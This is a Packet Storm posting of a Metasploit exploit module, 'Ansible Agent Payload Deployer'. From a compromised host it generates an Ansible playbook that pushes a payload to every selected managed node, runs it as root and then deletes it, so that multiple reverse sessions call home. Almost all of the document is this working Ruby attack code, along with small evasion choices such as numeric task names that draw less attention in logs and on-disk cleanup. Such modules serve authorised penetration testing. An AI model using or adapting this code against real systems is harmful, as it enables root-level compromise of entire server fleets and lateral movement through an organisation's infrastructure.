what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ansible Agent Payload Deployer

Ansible Agent Payload Deployer
Posted Jan 18, 2024
Authored by h00die, n0tty | Site metasploit.com

This exploit module creates an ansible module for deployment to nodes in the network. It creates a new yaml playbook which copies our payload, chmods it, then runs it on all targets which have been selected (default all).

tags | exploit
SHA-256 | a5fbba3600698942b6e9fdfb81bf552aec7d2529c1415dbf0234d6081449a4c1

Ansible Agent Payload Deployer

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Ansible

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ansible Agent Payload Deployer',
'Description' => %q{
This exploit module creates an ansible module for deployment to nodes in the network.
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
targets which have been selected (default all).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'n0tty' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
[ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
],
'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
'DefaultTarget' => 0,
'Passive' => true, # this allows us to get multiple shells calling home
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
]
end

def module_contents(payload_name)
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
"- name: #{Rex::Text.rand_text_numeric(3..6)}
hosts: #{datastore['HOSTS']}
remote_user: root
tasks:
- name: 1
ansible.builtin.copy:
src: #{datastore['WritableDir']}/#{payload_name}
dest: #{datastore['TargetWritableDir']}/#{payload_name}
- name: 2
ansible.builtin.file:
path: #{datastore['TargetWritableDir']}/#{payload_name}
owner: root
group: root
mode: '0700'
- name: 3
command: #{datastore['TargetWritableDir']}/#{payload_name}
- name: 4
file:
path: #{datastore['TargetWritableDir']}/#{payload_name}
state: absent
"
end

def check
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?

CheckCode::Appears('ansible playbook executable found')
end

def ping_hosts_print
results = ping_hosts
if results.nil?
print_error('Unable to parse ping hosts results')
return
end

columns = ['Host', 'Status', 'Ping', 'Changed']
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)

count = 0
results.each do |match|
table << [match['host'], match['status'], match['ping'], match['changed']]
count += 1 if match['ping'] == 'pong'
end
print_good(table.to_s) unless table.rows.empty?
# give the user a few seconds to cancel if its too many etc
print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
Rex.sleep(10)
end

def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
ping_hosts_print if datastore['CALCULATE']

payload_name = rand_text_alphanumeric(5..10)
module_name = rand_text_alphanumeric(5..10)

print_status('Creating yaml job to execute')
yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
write_file(yaml_file, module_contents(payload_name))
register_file_for_cleanup(yaml_file)
print_status('Writing payload')
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
print_status('Executing ansible job')
resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
print_good("Stored run logs to: #{playbook_log}")
# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)

Rex::ThreadSafe.sleep(1)
end
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close